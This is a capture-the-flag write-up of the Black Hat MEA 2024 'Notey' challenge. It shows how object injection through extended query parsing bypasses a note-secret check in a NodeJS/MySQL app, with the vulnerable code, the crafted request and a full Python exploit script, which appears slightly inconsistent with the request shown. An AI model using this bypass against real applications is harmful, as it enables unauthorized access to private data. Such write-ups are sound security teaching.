بسم الله الرحمن الرحيم
Introduction
Hey, folks with you volk in this writeup we are going to solve and explain Notey Challenge
Which Was in Black Hat MEA 2024 CTF
The difficulty of the challenge is medium and the challenge is a white box and written in NodeJS.
Challenge Overview:
-
Name: Notey
-
Platform: Flagyard
-
Category: Web
-
Difficulty: Medium
-
Event: The CTF competition (BlackHATMEA 2024) was held online on Flagyard
Challenge Goal:
The goal was to exploit vulnerabilities in a note-sharing web application and retrieve the flag stored
in an administrator’s note, which was protected by a secret.
The application had user registration, login, and note retrieval functionalities.
However, notes could only be accessed with a correct combination of a note_id
and a note_secret
.
Steps Taken:
1. Analyzing the Application:
The first step was to examine the core functionality of the web application. The website allowed users to:
- Register an account
- Log in to their account
- Create and store notes
- View their own notes using
note_id
andnote_secret
The description hinted at the possibility of accessing others’ notes,
which led me to focus on how the application handled viewing notes.
Upon registering and exploring the site, it was clear that every note had a unique identifier (note_id
) and a corresponding secret (note_secret
).
Here’s a snippet of the backend code for viewing notes:
app.get('/viewNote', middleware.auth, (req, res) => {
const { note_id, note_secret } = req.query;
if (note_id && note_secret) {
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
return res.json(notes);
});
} else {
return res.status(400).json({"Error": "Missing required data"});
}
});
To access a note, two GET parameters were needed:
note_id
(which uniquely identifies the note)note_secret
(a secret value associated with the note)
2. Vulnerability Discovery:
By analyzing how the application handled requests, I discovered a vulnerability in the way
URL-encoded parameters were processed.
The application used body-parser
with the extended: true
option, which allowed for more
complex data structures to be passed in the query parameters.
This could be exploited to manipulate how note_secret
was handled,
potentially bypassing the correct value check by passing a maliciously crafted object.
Here’s an example of how the request parameters were processed:
app.use(bodyParser.urlencoded({
extended: true
}));
This meant that I could pass an object as note_secret
,
causing the application to mishandle the parameter when building the SQL query.
3. Understanding the SQL Query:
The backend SQL query is used to retrieve a note based on note_id
and note_secret
looked like this:
function getNoteById(noteId, secret, callback) {
const query = 'SELECT note_id, username, note FROM notes WHERE note_id = ? and secret = ?';
console.log(noteId, secret);
pool.query(query, [noteId, secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
The goal was to manipulate the note_secret
parameter to trick the application into
thinking it had received the correct value.
4. Exploit Plan:
I crafted a SQL Injection-like attack by passing an object instead of a string for the note_secret
. Specifically,
I used parameter pollution to inject a comparison (note_secret[secret]=1
), which would cause
the query to evaluate as true and allow me to bypass the actual secret check.
The final GET request looked like this:
/viewNote?note_id=66¬e_secret[secret]=1
This query forced the SQL query to evaluate as:
SELECT note_id, username, note FROM notes WHERE note_id = 66 AND secret = secret = '1'
Since secret = secret = '1'
is always true in SQL, this bypassed the need for the correct note_secret
.
5. Automating the Attack:
To automate the exploitation process, I wrote a Python script that:
- Registered a new user
- Logged in with that user’s credentials
- Accessed the administrator’s note by exploiting the
note_secret
parameter
Here’s the Python script I used:
import requests
# Define the base URL of the target application
base_url = 'http://host.com' # Replace with actual target URL
# Define user credentials and note ID
username = 'testuser'
password = 'testpassword'
note_id = '66' # Note ID where the flag is stored
# Function to register a user
def register_user(session):
url = f'{base_url}/register'
data = {
'username': username,
'password': password
}
response = session.post(url, data=data)
if response.status_code == 200:
print('User registered successfully.')
else:
print('Failed to register user:', response.status_code, response.text)
# Function to log in the user
def login_user(session):
url = f'{base_url}/login'
data = {
'username': username,
'password': password
}
response = session.post(url, data=data)
if response.status_code == 200:
print('Login successful.')
else:
print('Failed to login:', response.status_code, response.text)
# Function to view the note by ID, exploiting the note_secret vulnerability
def view_note_by_id(session, note_id):
url = f'{base_url}/viewNote'
# Malicious payload to exploit note_secret
params = {
'note_id': note_id,
'note_secret': 'anything&secret[secret]=1' # Exploiting the note_secret parameter
}
response = session.get(url, params=params)
# Print the response details
print('View Note Response:')
print('Status Code:', response.status_code)
print('Response Body:', response.text)
# Main function to run the exploit
def main():
session = requests.Session()
# Register a new user
register_user(session)
# Log in with the newly created user
login_user(session)
# Access the note with the manipulated note_secret
view_note_by_id(session, note_id)
# Execute the main function
if __name__ == '__main__':
main()
6. Flag Retrieval:
By running the script, I successfully retrieved the flag stored in the administrator’s note.
The vulnerable query interpreted the note_secret
as true
,
allowing me to access the note without needing the correct secret.
The response from the /viewNote
endpoint contained the hidden flag:
Conclusion:
This challenge demonstrated a critical vulnerability in how the application processed URL-encoded parameters.
By manipulating how note_secret
was interpreted, I was able to bypass security checks and retrieve the flag.
Learning Resources:
I also found StackHawk’s guide on SQL Injection in Node.js
extremely helpful in understanding how SQL injection vulnerabilities manifest in Node.js applications
and how they can be exploited. For more information on preventing such vulnerabilities,
I highly recommend checking out their guide: Node.js SQL Injection Guide by StackHawk.